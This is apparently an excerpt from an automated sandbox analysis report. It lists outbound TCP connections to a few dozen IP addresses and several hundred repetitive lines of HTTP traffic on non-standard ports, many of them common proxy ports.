Source: global traffic	TCP traffic: 51.75.126.150 ports 36580,19693,36694,15474,3,11802,4,35632,6,34144,9,4228,37847
Source: global traffic	TCP traffic: 211.222.252.187 ports 8193,8080,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 186.215.87.194 ports 8893,6034,8891,6022,0,2,6,6029
Source: global traffic	TCP traffic: 37.32.98.160 ports 3,5,7,8,8998,37758
Source: global traffic	TCP traffic: 132.148.129.254 ports 9553,0,1,6,7,8,60781
Source: global traffic	TCP traffic: 195.154.243.38 ports 4,5,6,8,9,49685
Source: global traffic	TCP traffic: 64.227.108.25 ports 31908,0,1,3,8,9
Source: global traffic	TCP traffic: 67.43.236.18 ports 17145,13087,7797,22645,1,30333,4,5,7,5879
Source: global traffic	TCP traffic: 135.148.10.161 ports 51507,41146,3970,0,31696,1,5,7,6716
Source: global traffic	TCP traffic: 213.136.78.200 ports 28513,1,2,3,5,8,19925
Source: global traffic	TCP traffic: 67.43.236.20 ports 3335,31295,26693,5239,31733,8705,6705,24725,20001,25917,13175,6961,3011,12627,1,16829,2,3,2973,5,3389,10363,9,18129
Source: global traffic	TCP traffic: 72.10.164.178 ports 13341,30717,18067,11251,22017,0,1,1403,10801,2675,6,1431,7,8,13477,1929,30911,5931,29471,10235,5935,8837,5529
Source: global traffic	TCP traffic: 43.129.228.46 ports 7891,7890,1,7,8,9
Source: global traffic	TCP traffic: 171.244.140.160 ports 15141,13391,5189,62310,14253,24015,0,3,4,27056,7,37400,53749
Source: global traffic	TCP traffic: 95.217.104.21 ports 24815,1,2,4,5,8
Source: global traffic	TCP traffic: 51.158.64.130 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.197.102 ports 51918,42019,0,4,5,58740,7,8
Source: global traffic	TCP traffic: 142.4.7.20 ports 43100,0,1,10722,3,4
Source: global traffic	TCP traffic: 163.172.171.22 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.121.232 ports 16795,24787,2,27262,6,7,19404
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,16487,48962,49687,2572,56495,57320,27207,9141,0,32896,32588,53012,2,11946,30895,7,8879,5401,12217,49042
Source: global traffic	TCP traffic: 160.153.245.187 ports 38586,3,35138,59786,5,6,8,6116,5436,31745
Source: global traffic	TCP traffic: 72.195.34.60 ports 1,2,3,7,9,27391
Source: global traffic	TCP traffic: 43.131.245.216 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 170.244.64.12 ports 31476,1,3,4,6,7
Source: global traffic	TCP traffic: 45.81.232.17 ports 27855,59421,54393,9165,23711,0,4,5,6,7,23363,47056,21481,17639,14669,48085
Source: global traffic	TCP traffic: 92.205.110.118 ports 42086,18374,15430,0,1,3,26570,4,5,53903
Source: global traffic	TCP traffic: 51.15.142.4 ports 1,3,6,7,9,16379

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 4995
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 8061
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 49478
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 58740
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50363 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50399
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50621 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 50541 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 21802
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 45876
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50809 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 50778 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50663 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50765 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 56581
Source: unknown	Network traffic detected: HTTP traffic on port 50964 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50878 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50891 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51006 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50883 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 8061 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50968 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50885
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50677
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50690
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51004 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50603
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51027 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 51063 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50883
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 21802
Source: unknown	Network traffic detected: HTTP traffic on port 51085 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 34172
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51128 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 41746
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 53777
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51096 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 21972
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51087 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50437 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 63951
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50465 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 21231
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 4995 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 51193 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 51507
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51181 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51191 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50655 -> 29718
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 47056
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 2906
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50618
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 50701 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 56581
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50679 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 51297 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51263 -> 61564
Source: unknown	Network traffic detected: HTTP traffic on port 51242 -> 48678
Source: unknown	Network traffic detected: HTTP traffic on port 51303 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51241 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37920
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 13276
Source: unknown	Network traffic detected: HTTP traffic on port 50675 -> 2536
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51331 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51333 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51336 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51289 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51299 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51257
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51337 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50820 -> 4985
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50779 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51373 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51054
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51303
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51301 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 58714
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 6005
